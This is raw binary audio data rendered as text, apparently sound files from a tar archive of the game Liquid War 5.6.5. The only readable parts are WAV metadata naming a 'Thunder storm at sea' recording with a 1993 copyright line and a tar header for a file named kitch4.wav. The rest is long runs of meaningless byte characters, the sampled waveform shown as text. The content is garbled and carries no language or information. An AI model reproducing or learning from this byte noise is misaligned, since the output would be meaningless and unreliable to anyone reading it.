QQcb_ql^\jRBhtkyigvuto|ykmuhfKHKJEFME@=D?,(5A>G7'>BWoohkuv{mr{|~ǻvlto]I=F9ABHPZlf\ajq|~~q_m~}qdipedpioyyzzrfQ]]Yg\`a]amj\besp~n}urzypmmjjiezmicVG^pmiT]ngrwxx||˩srm[`N@IK>:DJC9;4*+*(0I[hc]ZJ`s~wp~~ul}wrufW\fXXkrbKEGEF?AGSLFXXU\_uƻrfo`UWO7,HJ6===3$8A;H]\C<`x~zquPDCPZQjxlrpej~{mgemZGV}eigRYuȤu]OufQONVXEX|z὎wv~y~q\`tsqz|sy}zx|||aU_erunnrxtyytuzfefBBF\v~ws~fNERYhvwwlZc|mf^aqv^Zdiqmdhf]`PhjNJiymyrJXu²gSPQi|ies{x}`KY|yqOASzpjtmXNg{yx}qnxm{|~nprzyqguxnzkcjcNVtztU^`KSyybU]tdXZhx|liir{|te{{wskypb\evklmg`p|bbymkjo~u_j{xz|thvaCZ~zqkwhznfhm|cqzdjzcdmf\`_dnu]`qy_NUWWenjaq{]UICVqxv|weSEhywnjrklJAKjôt`_m^f{eeythV?:4@VJBFbjX]kyuWJ^vlW[\[dbirQ``Vfqiooda`tkVhtozrwz}|oqSRry~ͬzx|æylly~rz~rmt~oo|}}iE>I[jplahgh|rWc}z`SWI>[flodU_tu||nO=>UjucZhxrwphz}xz{y{kh|x}yyjjwwztxzsfZDFXwusswdNM^nt^VZks{nJUzjic__lc]\oso[Z}wfmyfei`gyrv~iXeóxlo~{ow{kiMKb~λqbjtc_hs`K\oup:#Drxzwm{~{~xrrzrzzgrumx|{d]pngjfWS\s~y|o]MSeu{jH]rpkfiypomXglnq}cbgx|xyxzoiuxozm~~}|tpr}}r|~lo}o~wvyxhPWkqolcy}_lyqyqrxtfak|`^v~vxue`dorw}w{md}turw~hlsvrpnerxuvx~slnnpxz|f]jzy~zty`eltphk|rm|txqoxv}xrr|txyympvutp[ck}|~ti`PGXv\Xf\[mrhstnoqyglqhqukffkqki{vljdfgf[Wc}Ѽ|vd\__ztfevmYQ[{{]EIRgvw~}otmtqflvtztZRYnziSVdg]OLd}x~o[WdaWfnrv}r^cw~}ysposwxut}{}|rvv_[n|{~ruwhopuzykg{sqx|zymr{z|ym^h}tsuk}|lgy~}trx~ztww{|mizsr~~wii}~xyz}~}xy|w}~{fd{vkv~qiwvps|zkejq|}|pj{uquzpqy{wqeyontw}zz{sxssxxzxjvokv}|nbcit{wws~qzypvqv}wmxzxw{wxf^m~xwhltq{|{{{tvxrp|ufp|sbanyvxponzyw|xtqw}zzvz}y}zxztnjnzwkmsuswrpyvr}vy}~{}~v|zomxwmpx}v{}sox||y}{wwz}wtt{~xyy}twzpzz{t}~uzvlv|zz}{vols~{z|z}y~|zrfjox~yoq}vig~ynoz|us~rnuz}zpoxywzxnmwyxzzomypu~}p|yv{}zyxwww~xsnkmu}xvvquy{wywwxkl{~|ujqzz~wt~tplnnw|~{}{}xsswx~||zrhjzwu~tpmyxor}~vz{rx{}~xlrvlnz{ytz~mipnuyz~tw~us}x{zwonxxzsns{~zux|smnt{{{odfxynsw}~y}{|uz|pjiit}{~|~yz}nj|xx}uty{xwty{{niuwux{pmt{z|yyqedkrywusrp}{}{yxxqkorzwqrw~oqy~x~~|tpnjov~|{w{|uzyy}}leiv|{~sonw~zy}}{qqy~yw~toqv}uupnnirztz~{xuzumr|tntvx||{z{vx~wrwz{zs{}}|ytlv}yt~|z|wr|{uvtjp}xrxymmv||~xv{}|yzvy|z~}~}wvuv{{{qot|vz|x~~sv|}~{|{vwv{{{}{}}}xysszwtz}{|}~}xzv|~zv||{|sllq~|~skpuyqpsnr~{z{z~||{w|{z~{~rllrxux}{~|}|yw||y|z{}}}}vuz|xuz}~{x}yry}u}y{|ppo}}}|~y{wx|~}zz~}{vuvz}t{x|{vx~|~|wsmux|~}xt~{~{v||tv|~{qnjmu|~~z}~~}yr{~wyzrv{~||z|{}|xt}|yzzy|vvx}x}zz{uqu||w|zv{}|rtx|{|svwwvtxvz}~t|~{|}|xxuqx{{~~xzyljq{|}~yvy~{~|~~{vxy|xpkkmvzupy}x|}ssww{}}wzywz|~yz{{ut|zz}vmw}y}~|yz~~}uy{xtz~yvut}{yyvuy}{z~}xz|xyuopx}zvrw{txyxssuy|~~}{{~}~tq|phjpopv|{~z~pouy|}xuztww|}z|~zusr|{{|ypnu|||qnt}~|~tpyz~~||~~}omsxzy|u}~vu~~~~}|~zz{{yrx{y~}}}y{|zxv|zy~}o]\dgnmyz}}|z}~|oxzrv}{xyy}}~zsu{ww~}rqmnmv{}~zww}yx}pghigp}~xstuw{{{wmlz~sosvqpnnrrx~zz~xwxolx~{~x~{v{oisz{w}{w~xxwuyno}~wrxwnb\k|}{ms|vnzoekyzz}{qsqs}rjfjuv|{zxy}|{yz{{vou~srpssqv||xtlhqv}reafsuv}y||}}|vz|zy}u{}ub^owufcelkmvzrpssv~{{wrsslqx~zutqnozztu{z}~|umnqjt~tf`flqoowuohmxwtuuwy}~~~|rjho{wsrkhdXZanyy}xmnsqvrqqmjhht||}~||yug_X_gimnmpi`mv|srollheiror{}xzv}tkuv~pTQYly{{z~zyy~rnsxxyuuwwty}ztkieiu~~z}wxwpt}rv{|tlpjlsow{{wnpsw~sxysosx|}utidjrw~|z~~yhemx{zzsturihr~nilrz~~|{vnku}{}zwlrqrupmhirx~ymuriijy|phaTYi}xzxtw|}|yneev}wotw|vy~z~vorv{}}r`W[iytx||zsw}zs|~}y{y|szvptx{}w{zklt|~~niou}{{zshlru|||~}{|}||xy}~ytx|~{x~zosz}|t}{}}~}}{y~}~}{yy~|{{rowvru{|rnty~}y~uqv|t|}xz{~~{vyzrjjhgelxvtpuw{}~~}ztvupponx{w|yow}~yx{}}{}|}~~|y{|xz~~|~~|zwvsmiimr~}y~|}xzyy~uzz}zu{}{{}wkot}uy|~~|vtx~{w{tqutpw|~xnqssv}yxxvvwz~znhpvwz|uyst}xokifhszz}~~{||yuqo{yty~zpiovxuv}zuuxxpimy~}~{z}{~xqmns|}}tkfgc_eljaZZchw~rrvuvt}wgckpkhku~|xwzx{}|}{zttyz}zqhjr~u{uhnsnorrz~zy{vrw}z~zumimqnmkotty||{y~~yxz~zwwz|yvy|x||tqz~xv{}zvsx{sojmjfr~|sw}~uoqvxvss}{xwtwy{pm|}}|xrowuoppw{vu~|y~{{z}qly~xsob]bgp{trzyuttxxxt|vsuxyxw~{|~{sx~~|y{svz{xy~yvuofhzyux||}}rs~z}}~|{x}uplghrywjlv~|tmhfow|zx{xokmx|trnty~}w~|~|}{u{{|{yvrnmvpiox{|wx{rtzxw{rlopztujjrrtv|zr|rz}w{owy{zxwuvg`^fy|z{srwz~~|yyvt|{|hanrz|sxypq{|zvjjpy|~z{~yx}}}x{{yqpt|xsy}}vlmv}ukjhjmy{y|}tw|y|wvvv}ujgkmtsmm{~~xpvskluvpqkpyvppn{y{{ytsw}zkkltw{xpw{~xsnnq}}wjo~thkliddqx}ogiyrn{|mhtzrmowsy{xjl|~wy|wz|z~yyvupu{xt|qdmust~}nmiu~}{tqrrstyvqsq|~|}yxxv}wvonx{zz|~up{~}|vu|~qmotpims|}|{~~wxyx|wlqoklt{xnyyttwzz|uoqu~mltz|{pmsqqpstw}{z{}x~tls|~zqqz{}zw{zuu~ou|vurirw}xrqxxvs{z|uov{||{}tcbkvrkrx{|~tv~uw~wsmjowy~wy~~xw~xv|~toz}kdbgotyy{|||wwxqpyz}|wyvy}|||xtry}xw|{{y{x~}~tq~|wz{}pkp|~{tz~~yyteioqikzyuu||~|iWW[etyvv~~~{wtxxtusjgs}ytywmsvnlt}z}|tryzsiaimnywotudjulhsw}|slopovy|yzy|yxyx}vvyzwwyzz|voo}z|~zvv|}z{sv~zykoxzu|{}}~zwz~|{~~|y}{wt{~~yosvwwrqysx}~~||w|}|y|wtolvsvzy~zuqlr~{ykefpz}}usw{{y}~~~y{{zrrxyyxyzxx{}yz~uss|~~us{uqtyqnoyqq{}w}ruvqqx|ukw}{vsz}|spspuxrv{}tw}|wwuzyxyx|{y~yxwqq{z{~yvvoq|}|x}yvyyxz}~xrnrsu~|}|~{}xvu|}yxz}}}ttv}ytnmqtz~z~}{~}vv{vwz|}{xz||ur|||}|xxsopy}~||yz|ww}|xt~zy~~~}qv|ywwrnjkt~}|~srwwttu|}xut~}~}}uy}}||yzztrq|zoos}~z{|~yvrv}}yv}{{~y|~ywy}~~|ywotywrt||}regnz~yvryxy}||{tvxruzmk||zz~{z~~{uljrvq|~uy}{{vu{y{{~||{{wutx~yytpt~|}|uok{untyv|}~vmqzrrtqnps~{qv}zv}ytu}|vpxztv|yuy{~wt|}xzvw|xvz{vz}wstutx}}~}~~ov}spnnqy{uwsipvsssxwoegq{{rx{nqsuy}|{|z{z}~zvvosxw{~}yy{ytz|}~~vw}}||zvs}z~{vuwuw~~|{yzu|uiiu~vw|}{tr{vflv~{z~{stwhhlsusqpuy~yy|~z{zuw~zvunghovtruxyyvx|{{zv}|u{~zjnuyywuw~}}z}zq|niovrrrwvyxv}yruvz}|~qrz~}{sq~}y|~zusrqxo`jrror~}xvt|wqtns{qnljozzxvuxtqy{|x}x|zzy}lmx~xz{wwwzyvwxjmlwxrywno}zvwv|}}zvorvtvutv}}ypqw~~z}uqihs|uv{~ztlq}|vyx{|vtv}|~|xwzvtqnruvur||ss|~{{}}ssot~z{|sw{}mkvyryvvz~}|wos|}{xvms}{mgnmntr{vu~ztw|{~{|wxtsrsx|{}~y|wjp~~yy{uxvmuz{wxvz|~}}{}}||z{sy|{wv}}{suzwsry~|{|}zyw~tx~ohllu|~yw}ww}|xuqp{~~wru~{|zyx{yuty}~{tzwsz~vottooxzsy{|z|{|vwwtv~|x}|wutxww|}tppqtz}|}{vy~ywxywqjr{~x}zwztrty{z{{wxy{ywz|zwvzrv~zvox~}||~sy{|~z}y~|~zwrtuu~tstsptz|vvu{|xqpnqu{xxhn}~y|}{xu{x~uv}w{xosz~z{|vuoiny}z}|~yt}zyxou{xqmnq{zxxztu|z{z{{{rlqjiv~vv~~|~}tty{qkp{~zx{}txt}}zxow{qouyyuwurv{x}{|~x~|v{vnjuzzz{}xyx{|{wz}xwsvln{~|y{{{~wyrmplnxz{zzrjlnt~}{qx~wz||urtx|~~yz|{tmq|vxuuzypq~{xz{~uprvxuzytsomprtvrwvuywz{~xy{vyzwtwpmx||x{}x~~{{kcr~vv{}yuy{z||vtzskrwxon}{}xlmz~vrw{z|}~~wvywyyx~z|qlnksy|}z|~~{vstv{}~{|yqhjs~}{|xvsqx~zvyxuqyy~~~w~~}|uwyy~}}xqz}}|xvuy~tqmuyvxqrttw{wzzwvy}{z{}xkhqy}}~|uonr|yx{wgfkpv}{vvy~}|~xy}trxswz~zsx{~|vknv|{|xxz{{ijnwytz}~x{|usx|ysv{~xut~{ou~wtxzyu{|z~y}}yw|wz|{xsw|}yz|xutx{~z|wx}{|ovxzxqvx}z{}u|~tpx{tx}{uuzrqlder{yxxi`ouuw~zsou~qmkkmyz{wv~}xmuuv|zu~|{z}~}{}xwopw|~yv}}syvu{~}|oqnzwryx{~}~}}uyz||{~}zy{zxz}{wprz}{yy|~~uqtwz~}vwsqx~|tvz|vsx}~ukmt{y|}wu{xxvvphr}{{upv}zz~vwpu|}wv}y|{{vxx{yxx}ynms~wxxx{{{tz~}v~urs|{rt|tonq{y||~|{{x|vz|~y{wy{uuxtrnq}||~xrnmow{z~}wx~vwy|~unjou|mikpstx}yx~yx|}}zvtvzy|zzz|{~wqttvttuwy|sqz|zvy}zx}~{vsuvtwsrvx{}xrw~~|z}~|~vtqov||~wvwxv{z|ws||{sksxuoowuzxy~toqpr|wv~|~|~y|xzwxvrz|yy~}wtw|~{zttqmv}z{}~~zz~|~x{{{}{{}~~{z|{zx{}zyx}||~~yww{}xrpu~}}~xwy{|tpy~yz|~}uuv}{~vwvrrussxy{tx{xp|~rt|{}z|rllnsvwwsx{}|~}ystsqx{yywvsvy~{y~|txzx}}~z}|snvx}{{xyw~yuz{{zmprw~||zyzv||wxz{zx{|xvw~~|zttxy|}ztu{||}}z~xvuvsrz|~||y~y~~ukp~romot{ysqxw{|tr}}~{~~~{xty~|}yyx~vw{||{wrw}}}|z{}~ywnowxyx~w{{xw|yz}|xunp{zzuqupx~{{z{}~~vv{vruyzmoprrw}xx|xxyry~~||{||||~wz|{s{{stxmq|{}x|~~}||}w|~x|}{wuyxxzvwz~~yroq~~}~}zqr|}}||{y~~xtyzyzwy~}}w}}}|yy~{sqpwz|yz~}ujmp||}}}|wwyyvz~xxx}zv|wxvst{}yw|}vwvx}~|}xr|~z|spt~}~|}{|}|xyzyzyv~}xvvy~uvzzzrspzsfjxysrt|yqz}yy~||vqsx}~~|yx|~~wrkjkfr|vw|~}{urrhlnjknuwlnxqrzv~w}|{~{xxyuot}|}}{yxw~|wsty}zqmiw~|{~|xsx|{{v|}~|yz{vpstsx{y~{{~|u|~|{~~~vvpxvuy|vxyx|~|x|~~~zwuwww~yw}xtuz|ojku{{ytnt}x{{{z~y|xsw|~|}|uymfihuzz{tsqs|xr}~{~~}~xzxxxynw{{xx}}vqtrvx{yx{{yqkp{yuvzz}{rss}z~vmeipopw{~vpkhqsyz{{z{z{zvxzzuxrrumnv{pnvz~qt~}}{oghps|ytutz~zzsru{~|yyorrq}wqrruxzvt|x}wt~vztkjnqx}qqts|uny|~}{~u}}wuuvst|tqxzrkhgr~xzrns~rpx~ytsyzx}}}~xnolx}yprwrwwz}|{}|vu}~}yz{w{wz{vwpu|}w~wvy}|xssv|sttt{z|zyux|~|qz}}x~z}zxw|z|xry|z}y~~z}|{xln|}yxpqr|rmx~|y|}uv~~{|}{~wnoqebk}y~~{w~{|~{uxtwz|zz{|yxxxy{~|v}~|zvlovv}|}}yz~|~vwumt~yuo{zyw~vnr|~rrpt{|rinmfkmowuz~{x{vlr}pv{xyv}}wvyy~~z{{}~y}z~}olv}w}xtsprnr}{rqfgs~w|wplstwzyyx~~xu|}|z||ytw{~~vnv}{{tw~zrw{{x|vuzzy}stssyyw~{z{~{~{zxz|}wpvpjptsszvy|qswxzxow{w~}}wxx{|lgs{}suqq}{yqnu}}}{vt}xvw~~|x|tq}u|ww{z{~~}~z}zqsxwywpovyy||}zytt~~yuqooqjlw~|upr|wwz~~xsnsyun{zx|}{z}}}wrmnlt{sty|sqqqyzzz|sy~{rldjx~{}|xur}{z~~ywzyxvsx|}y|~xzz|}zx|uqy~~~{xqns|v{~}~~~zwsz}{||zyskr~{w}spu|}}}zrmprqlio}{~xusu|uw}}}wqouutzznt{}{vz}ztpkmrwzz~{uu}x|}usz||yvkikpsty|qt{|yux}qpryyvx}~~vns}}{vzx~tjhkx|~|{~w}xvow}t{|y|~||}rsy{|}y{{~}rqqy|}{tswy~yzty}}zrnrz~{~~{{w{|~vszzyy}wxzy}tzzv{~x~yy|xv~wrnrs|}v~~~|yqtv|}|rmov|xzyv|~~x}xxvpvy}|~~|zvyxy}yz|~|{wz}}z}z~xwuy|z{vot{xrx|}wy}~zrz}||z}xvt{~}ytw{t}vnix}}zpoy~~zuz}{|||xtr{~|~xt{~zy}~w{w~ytoqy{{}~}}zww{}yt|{z~nlwyxutw}xuyvv~xx}z~xtqq|~ysmpuxwrjiqvx~{~~|vprsu|}uu~}zz~}}||xwwwwpjjtts|pyzzxux}{wv~okw|wr{yvsqtx{pqmv}|xz}}|~vpw~wxytt|~|~}{ynnwzx}~}|xty}~tqvruy{vwy~~}|}ws|}}~~|ztuwv{||}z}}tqnprtwpq{qw}~}z}xryxijssz|z{y~}{z{{x}yx{{vr||~|~yilv{|~yz~x|{|x||z~zywy}{{}z||z}wvw|~uwzz~{wvw}~~~{v|txww}~zuv}x{}~|{xt{}~~xv|w~|vtlpngrrontxywqtzy{~x}zy~yz}|}|vnoq{ypt|~}zwy|~|wux~|~z}~w{{uqqszzu|su~~|tzyu|~utw|}{~}~~qmm}}|x|xwsy{{yw|}{xrs}|xqu~~vuuz|v~}wprsvvllr}vnryrw~xuqv~~~~~|}~xry{{kcjw~wssy~uxwtw}tihu}yy{wt{z~{u{y|zw}ysxwxqiort}xy|xzuyvu}~}~xy}{|~x~{xy}z~zxsvws{x{}yyyzvu{z|{z}w}~~|vvxtxyxwz{ytq{|zywrv|~}pp~~{ru}zzwsw~~zy||xz{zz|y{~yy{}{}xvz~y~wrolsutqz{{~}z}zxwvtqtw|}xy~}~}|}z~}~~z|x~~|{wyx|uu}www{zvw|}~{|{|~~}}{qory{vru||}|~|zy{vu{tx}qipyy~~y{~~yuvvysyx||{pprt|{~y|~~vrpw}zstosooor{}}yppz|wort}{vvzvurw||xryy}}}yw{~~}|vpktw}zxxqku}~~{onwrq|}x~}usrohlkehwzlovpsyqor{ymlnuz~~wxzo|zqvk][djlw{|xsryxxz}~xvx}{y{|wxpllnrkjtqoyytsotkdis~zkgglv~|~vlknqv}}~{||wkr~|~|qz{{t}}tu}}z|pltvleblowxpi{w{~{vt}uwwsolv{~tkhqw{~|r}{yuzxx{zffkspittyw||{xvv{~qu|{xyu{~tqdhkr{}swvu|zzwvsqsmtuvzz{zvwror{vt}}|{|zwvnd_eor{}yy|~~}}~{zu~~x~|tv~{|}}}~~urjgrxuw|wkrysy~srohq~zx~}y{|z{tmz}~~|}|y~~~z|xxz{}xmov{wwywzx}}}xrqtv~z|x}y{|{wzvw~{{wwtqz||vzzz}vwx|y|~yvqw}|uxu{xqmuxu~~|}tx|xzxzx{voo~}ww~mkwxqu|{~yyuisvz}|sqwvqry||}}{~zx~spvrv~yuw{y~smr{ourn{}zqxw}wvsyrnwv|y~vt}wr~y{|{xwrcgruox}}yw~~}}~}ttxxwwuz}{y||ysw}xzru{~vhlx{z}}|~wttr{~x}|tx|{{ruquy||vz|~|os}}|uxwpqxztu{~v|~~zsvnll~xrywt|xonwsr|}yuz|}yyz||}x|tuy|voonq}y}|wx||}~|}{y|~zu~|~~}yv{{~|wxz~}xtw~}{ut}xzspiadjkcku}|w|~}yosvuz{w~}|z{yxxzxstt~xop}{|~}~}{xtw{}wy~}y{}s{}zox{xw~z{|~x|vww}|}xvw|us{xy~srsztv{|zstxs{}{{~{w|~}zzuy}}|~|qvyx}}zvzyy}xhfv{~~|zty||~v}{xrhr}v|yv{sllr~wxzx}{|z}x{tdaqvwtmr}ttxzvz|yvofdkwtjnqu{yuv}xxx~~wz|w~ypwwtwryzyuo~|y{{~}~}vnxwroosoortvx{~usvvpp|}x{~}~xu~}yyvywx}||y|xy|{~~~wyyx{yyzovxxtloy}~y~yswzwx{{}||w{z}{}y|~|tu{{utw}y{{}zyyyvyz{~|~{uroqry}~~vy}{{ow~yxuzvwx}}oep}}{{zyvsv{}zyywz||sw|~}zioqlp{utv~{ruvt|~zyx~yp~ztzy|zxvyz~}y|xtmuyoswrsqqxyy|wv{~~yutzwonq|~xupnrtv~~~v{}xpy}{xonppywy|ywxut{|~~||vtx{x~tx~x{ywsonnx~{rw}}z~ypo}v~~|}zz}{or|yyz}plt{|~wuwpqu}yz|||v}~w}}yzyy|~|yz{||prrvzx{|~w{{~y|zzr{wssuvtrux|z~yx{~zpijnx{{oszzxzw}~zrqw}y~urxtu}swys{}yyz~x|}wxz}{x}xy}||otx{|~vpqw|y~{x}~|{}{z~vr||w|{~}vy|||{x~y{~w~wqr~~~|~yxtzztvxxwwt|zz~~yyx|wyzmou~~wyz}vuwv~~|~~y{|~xtotz|}szzvy{}}~|to~|twxvuxzyyvyyzplsy~|~}}}|}||z}zy{{~~~~t{wzxz}z~|vvu~}qsv}y|zy{}~wrx~}zwy{wtx~z}~xx~~|zyyuztipvsx~zu~}rswvvv~vzz{|skttt{{z~xy{{z}}{zw|zwxxvksx}{~|z~t{x|{~~~|}w~~}nkkfn}{~}|}}{z~~{}~~z~|{|zuxxx~z}trywzvy|ttty{}to~yvrnjiow~}{xxz{swwox~|qnssv}}xy|}}zv}}||~~tsxnm{svxoprt{v}{~zux|{yz|x||t|y~yz}xzu}{{oorxy||}x{~}oouy~~}sno{zu}v}}{vtpjlimtwxz~}touusmoyq|}~}z}}||~{x|sv}~~|tq{}~~xrninwykiqy{}xy|~}vy~ynyvqwnafwzz{|yxywtxt}xy~}zyt{~{|wpggsxwz|z{~~yuoosx|z}}zu}yy|xu{z{usvz||ww}~{{tns{yy{}~}tv}zxxkhp{~wty{z~}~z~w|}{{~~|wnrv}z~{icr|yyysvx~}z}~~sox{{yxwuhsqiigxzy{||z|yx|vmhqq|}zps{t~trwllry~y~uhfdnzwy|~xswzy{}|}~yyu~~{ws|yuz~xw~z{pu{~yq~tr~w{||u}}z|y|xwy|}yw}z|ttxw}~z|~xw}{{}vsrvqoqstsz|{~}y}yx~}yxsv|vwsuvy}{zx|xro{|upv}~|}{s~xtyxvy{wvuou|||uyzttwz|vzu}{|urwtsts}|{ysu{~v{~~|~|kh|~{u}|}~}}~||uw}{vyyyw~}{{~}zy~xy{w~yz~utyxz|~y}x|~|{|y{~qq~yx{~yqon{zxv{totvxu|sqtmxwxz~zz{~~}{wz{yult~~~xv|w{wsrtx~~zuwvyokstsr{x~|}z{uq{~|vmhnuz{{wy}z{}}|~tq{w|wuwxw|xx|}{zy}}~}xv|vz|~yuvwuwtnnv{yxx|zuy|~vrxlisrxw~}vvv||||vwy|}{}wrvt|{yuyx~{~}wyy|{yvy{vov~~xvv}yqrqxuz{}ypmsuzyvppw~zrx{|vzqy{~~}{vqx}~zzz}}{y~wxsw}wvnnz~|~vruwv~||mlsu|~yuxylgt}ywyx}|~vuu{wtnnszosurv~~|zzzuy|x{|uxzwztuz~{vqvy~}y~{}t{y|zrmttv}|xu}|yv}|{}|}~}~xwyxssu~qiho{y}~~~~||vqjpnjqz||}|sqy{|vttz}x{vu||truy}|qrvy|v||}~yqeiw}|}yyt|{yyy|rpqv~}y~wvyyzvxxuvsutx{xv}|z||x|}wy|}v{{{v{zx|zy{}}~{sqvqzz}}voqpwwx|~~|~w|{zy|xtz}{||{}~~}y~}{y||}}vs{ut|w~}ssw}w||{wv{~}~|yuqv||}v}x||vy}{wxv}{z|z|}yrtoruvyzz}~~npqxyvy{vqqw~|wqu~|~~z|}}y{}~}zyxxnikou||}{{|||y{{xz}~{~}y}}}~~}}xx|vvy|{y{x{|~{utlrvuqjptz}z{{v{~vr|v}x~{}{|~~vvwyy{{vv~zyvwsuy}xuux}vtyz{}|yxxspq{}z{|~}~}z{~~zwv~}}y}~}yrqrxxtu~|sr}{yrsy~{vqty~~}xnu~~yw|zw~vuz~~~x~~wnmvz~|}w{svwuvyz|y}zyvvy~}{}|yuqtu{z~zxvtx|||}}{}}~}}~wnnpx~spuz{xww}zuzuw}~wsy}{v|~}|xyyz}y}|v{|xvsw{|xz}~}zx}y}~{|z}}zu{|wywztrw|}~{vssooruxp~}||~}zxz{|suy}ysquwvsvz||zsonp{yzzz~}{{~~~~|~|~}{}z{y|}z{}wwxx|z{~|zxvvz~{yx~}{yy~zutwv{yv|}|zwxz|zz~}}{}~~wv{y}~~{~zzxx|~z~~{x|~~z}{}|yz|{|~}~{uw}~~~}}yx~{~xvsxz~}{ztx~{|{z|}~{xxsu|z}w{}zz}}~|wqsy{}xy}{{~~{}|~~||~}}}{x{qnqx|||{}|xx|zxv~}z{s||~zz|zy|zzzy{|}~|~{{s}}~}{|}~~zxx|xv{|}||}~z}{{{{yx}|yvtu{~{}}}{}xy|}~z~}}{ywzx{}xz|}wtwz}~~~{{}}~{xvw{~~}}|}}|vx}~~~}|yuuz}~~|||{y{}}~~~{vututy~|}zxxyz~}~yww}}~}~}~~yw{~~|}~|ysrwz|}z|~}~||~|}|xy}~|}~}~|~}~~}zyy|||{{|zx||{x|}{xz~~~}{}}z}~}z}}~~~~}{}~}~~{z{z}}{}|{}~}~~~~~~||~~}}zzz|}{yzz{~}}}|xz{z}zx}z|}z}|z~}~~|yxx{}}}}{}{~~}{}}}|{{|z}}||}}~~~}{w{|y{zz|}zz|}~{}}}}~|}~~}|~}}~~~~~}yzyy}~}~}}|{xz|||z}~}|~}~}~zxx{{~~{z||~~}~~|{~|{yxy{~~{|~~~}|}|xyzz{zz~~~~~~||}{xy~~}~||zywz~|~~|~{z|~}|}~||{~}~~}}||~}}}}zz{~~~~~}~~}{z{~||~}~}|}~~}{}|{}~~}~{{z|~~~|}~}|}}}|}|}~~}~}~~~~}|}}~}~|}~~}~~|~~~}~~~~}~~}}|}~~~{~~{{|~~~~~~~~{~~}}~}|~~~}~~~~}}~~~}~}~~}~}~{|~}~}}|}~~~~~}~}}~}}||~~}|}|~}~~~~|~~}|||~~~~~~~~~~}}|~~}~}~~~}{}~~~~~~}}}~~|zyz{}}~~}~~}~~~~~~~~~~~~~~~}}|}~~}}~~~~~~~}}~~~~~~~~~~~~~~}}~}~~~~~~}~~~~~~~~}~}~~~~~~~~~~~~}}~~~~~~~~~~}~~~~~~~~~~~~~~~~~~~~}~}~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~DISPl( wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwwwwwwwwwwwwwwwwwwwww{wwwwwwwpwwwwwwwwwwwwpwwwpwwwwwwpwwwpwwwpwwwwwwwwwwwwpwwwwwwwwwwwwwwwwpwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwDISPThunder storm at seaLISThINFOISBJ\Nature in action 1993 Interactive Publishing Corporation. All rights reserved.liquidwar-5.6.5/data/water/kitch4.wav0000664000372000037200000015520613407756104017112 0ustar travistravisRIFF~WAVEfmt ++dataU~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~}~~~~~~~}~~}~~~~~~~~~~}~~~~~~~~~~~~~}~~~~}}~~~~~}~}~~~~}}~~~~~~~~~~~}~~}||~~}~|~}~~~~}~}~~~~~}}~~~~~~}|}}zz}}~~~|~~~||~}~~~~||}~}}~~~~~|}}|~}|~}~|~~~~{~||~}}~}~{}}~|~}~~~}}}{~~}}}{|}}}|~~}~}~|}{|z~}|}}~~}|}~}}|}~~~~||}}}}~~~~{~~~~~}~~|}~}}}|{{|}~|~~{xz~}~~|z}~z}~{~~~}~~~}~}}}~}~~{|}{}~|~}}~~~|}|}~}~}~}ww~|}}}|}}|||z|z}y~{zz{~|z}yx{~}{~{|~}}||zx{}||~|}}}zxy}~uz~}|{~||}||~}y|}~~}|~}|~||y~{{~wz{||}~}}}{{|}~~{~|~~~}}|{|{{~{~|~~||}~{~|x|~|}{~{|x|~}|}|~{w~}{~{{{||z{}~}{}~{~~}~}{{~~|}}wz}{v{|v{}~{{}y}zz}~y}~~|~}{|y}xy}wu|~~|xw~~yz|}~zw{}}~{}}~}~}z}}}|~~{{~}~}}}}}~{|z{~~}y{~~|{}|y{|ywy~}y~}||v}}{zz}zy~~||~}~|}zz~y}}y}~{{vwxv|x|w~|x~~}~}wy~~zy~x~{|z~|~~v{~~{}|{}~||{}}}||}{{|~~z|~v{}{z{}}~y||||z{xz}xz|}y{z}~~}{}{|{{|~}}z{}{|y|}~x~|x~~y{}|y}zvsz~~}zttu}w}}{}zyz}|y{z}y~{~tz{~~{zvz}}y~vzww}}|z}{}~}~xz}|~~~|{w{u|x}y}{|xz|||x{z{~xw{wyy}}x~zx~~wyy|~z}zv~~}~{}z}{|{z~{~yz}}}uy}{ttxivstwxxr||vs||y{||~yz~yvx~|s{z{~|~z|}y}|v{{olzus~x~|}|y|z}~s{s}{}xu{u{z~~}z||}}~rzr}~x}xzv{}|zy}ywt}{|vzw|yx|~|vy~}}t~}{uw|~{|~{}}~v~yx~w{|sw~x{w}v~{~}z|u{w}yx|~qwwzu|z{y}y~||}}xz}~p~wyuyxz~{x~z|xy|{y}{~v}~w|x}sxxy|{uy~}||{zy~uz|~~y~~y}}{y}}y{ysv|}}wmsyxvz~v|yz|ovzxzzxw}xuvs~w|ww{uv~}r{t~|x}w}x}u}zv~zy~|}||w{}u{|z{}}x{|xu~ws|ur~vp{{r~zzz~}|wu~w}zy~x|v}zvyw{}{vx||u~y|fb~vtxzw|v||y|}zzx|}z|y~~~x~z|xv}{{|w}xyw{xyt{ytwx~zyy~}zuyzxuvy~z}s|us}uqwziw}|v{r|zwnsy{|}~xzz}}z~{vuzsy~}~|u|xo~vwwy{ulxxkzy}w{~z|~~v|v|zs~{~y{yv}|rzmw{|utsnuwyw}yxt}vuvy|y~}yx~vp~utwm{o|oywywym|uszs|~vzxux}}}ywn~{}vx|z{}|`l|phy{haelt~qofijnr}rvPqckvvoiVaksyoSnxr~wy{|~yvjx|{wtwmsfkzzvjswu~zz}~xxz^|xzylqjx{wlqz}y|vy{|ywp|w|z|ueq{w|y{{~kivq|}unttuo}ltx|jyt}pzl}~|}}{fw{|{zyitlrku~y~zww~|~}{|t{r~w{w}pc|x{~ylx|zw|yzvyx~sl}uy~zzurqxrszwsoyoyvnw|qm|}lpg}t}}ptwx~{~~rqrvsyh|ny}{qz~z{|zx{wuu{uw}}ev|so{vry}{|msvhfmsc^jknvhsh|wo^sqq{zxmwrj~y~ns|u{uxxvm|m~sztt~t~{kl|{lt{qv~|zn{w}zvwnvww{~{zfix|vtgt{|~rxrlwx|{|w|zuwnuqwgxc{s||tw|~wturp}p{z|t~zp{{u~sw}zwoyp}wuxbnitz{nqx~xi|zv|n|zszwuz{ylwx~|o{kpvvqzuzzxvvlwy